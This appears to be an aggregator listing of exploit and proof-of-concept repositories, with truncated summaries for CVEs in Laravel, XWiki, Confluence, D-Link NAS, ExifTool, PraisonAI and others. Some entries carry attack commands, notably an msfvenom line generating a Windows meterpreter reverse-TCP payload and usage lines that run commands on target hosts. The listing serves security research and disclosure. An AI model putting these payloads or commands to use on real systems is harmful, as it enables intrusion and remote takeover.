CVE-2022-30507-PoC

Description remote code execution RCE by executing javascript code - Cross-site-scripting XSSand rendering process by nodeintegration which is responsible for rendering process and accessing node js code PoC Video Reference...

CVE-2018-15133

CVE-2018-15133 Laravel Unserialized RCE pip install requests colorama multiprocessing...

CVE-2024-23346

🚀 CVE-2024-23346 Chemistry - HTB This repository contains a Crystallographic Information File CIF intended for use on the "Chemistry" machine on Hack The Box HTB. CIF File Example root@kitploit: dataExample celllengtha 10.00000 celllengthb 10.00000 celllengthc 10.00000 cellanglealpha 90.00000...

CVE-2024-37888

CVE-2024-37888 This repository documents vulnerability details and exploit for CVE-2024-37888 discovered and reported by myself. Metrics CWE-79: Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' CVSS: 6.1 MEDIUM Vulnerability Overview This Proof of Concept POC...

CVE-2026-57124 PraisonAI UI MCP connect endpoint allows unauthenticated local command execution

PraisonAI is a multi-agent teams system. Prior to 4.6.59, the default UI host applications expose POST /api/mcp/connect without mandatory authentication and accept caller-controlled command and args values that PraisonAIUI passes to StdioMCPClient to start a local process. Because the UI commands...

CVE-2026-57124 PraisonAI UI MCP connect endpoint allows unauthenticated local command execution

PraisonAI is a multi-agent teams system. Prior to 4.6.59, the default UI host applications expose POST /api/mcp/connect without mandatory authentication and accept caller-controlled command and args values that PraisonAIUI passes to StdioMCPClient to start a local process. Because the UI commands...

CVE-2026-57124

PraisonAI (a multi-agent LLM framework) is vulnerable to unauthenticated remote code execution in versions prior to 4.6.59 . The default UI host applications expose POST /api/mcp/connect without mandatory authentication, accepting caller-controlled command and args fields that are passed to Stdio...

EUVD-2026-77598

PraisonAI is a multi-agent teams system. Prior to 4.6.59, the default UI host applications expose POST /api/mcp/connect without mandatory authentication and accept caller-controlled command and args values that PraisonAIUI passes to StdioMCPClient to start a local process. Because the UI commands...

xwiki-cve-2025-24893-poc

XWiki RCE Exploit PoC CVE-2025-24893 Overview This repository contains a Proof of Concept PoC exploit for the XWiki Remote Code Execution RCE vulnerability identified as CVE-2025-24893. The vulnerability allows an attacker to execute arbitrary code on a target XWiki instance by leveraging a craft...

BIT-EternalBlue-for-macOS_Linux

BIT-EternalBlue-for-macOS&Linux Exploit CVE-2017-7494 for Net Security course final Assignment. This would reveal the vulnerability of services that run in administrative priority on OS. This bug is workable on both macOS and Linux. Install Before exploit, you need to download dependencies...

CVE-2019-1367

0x00 Background Internet Explorer is a web browser developed by Microsoft. It has a massive user base. On September 23, Microsoft released an emergency security update to fix a remote code execution vulnerability affecting Internet Explorer. Discovered by Google's Threat Analysis Group, the...

CVE-2025-31200-iOS-AudioConverter-RCE

CVE-2025-31200 – iOS AudioConverterService Zero-Click RCE Public disclosure of CVE-2025-31200 – a zero-click remote code execution RCE vulnerability in Apple's iOS 18.X, specifically within the AudioConverterService component. The vulnerability is triggered by a malicious audio file delivered via...

CVE-2022-22965

CVE-2022-22965 Poc&Exp, supports batch scanning Usage root@kitploit: -a string Reverse listening address -b Whether to display banner default true -c string Command default "ls" -p int Reverse listening port -poc Whether to only perform POC scan, default scan only POC default true -r Whether to...

CVE-2021-3129

CVE-2021-3129 Instructions: Note: A local PHP environment is required. root@kitploit: python3 CVE-2021-3129.py -u http://127.0.0.1:80 （只检测poc） python3 CVE-2021-3129.py -u http://127.0.0.1:80 -c whoami （命令执行，默认会遍历所有利用链） python3 CVE-2021-3129.py -u http://127.0.0.1:80 -c whoami -chain laravel/rce1...

CVE-2024-3273

D-Link NAS Command Execution Exploit This Python script exploits a vulnerability CVE-2024-3273 in D-Link NAS devices, allowing arbitrary command execution. It leverages the vulnerability to execute commands remotely on the affected devices. Features Executes arbitrary commands on D-Link NAS...

CVE-2022-24500

CVE-2022-24500 RCE Exploit Windows SMB Remote Code Execution Vulnerability Vulnerability: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 step 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw...

CVE-2023-6553-PoC

CVE-2023-6553 PoC LFI to RCE Unauthenticated Remote Code Execution in Backup Migration WordPress Plugin. Run root@kitploit: $ python exploit.py The following PHP script is executed. root@kitploit: out.txt; ? References Critical Unauthenticated Remote Code Execution Found in Backup Migration Plugi...

CVE-2021-22204

CVE-2021-22204 Exploit for CVE-2021-22204 ExifTool - Arbitrary Code Execution Exploit Description Use this exploit to generate a JPEG image payload that can be used with a vulnerable ExifTool version for code execution. A custom command can be provided or a reverse shell can be generated. A JPEG...

CVE-2024-0044

CVE 2024 0044 CVE-2024-0044, identified in the createSessionInternal function of the PackageInstallerService.java file, is a high-severity vulnerability affecting Android versions 12 and 13. This vulnerability allows an attacker to perform a "run-as any app" attack, leading to local escalation of...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server This vulnerability allows an unauthenticated attacker to remotely execute arbitrary code on a vulnerable Confluence server. The vulnerability exists due to an improper validation of user-supplied input in the Confluence REST API. This allow...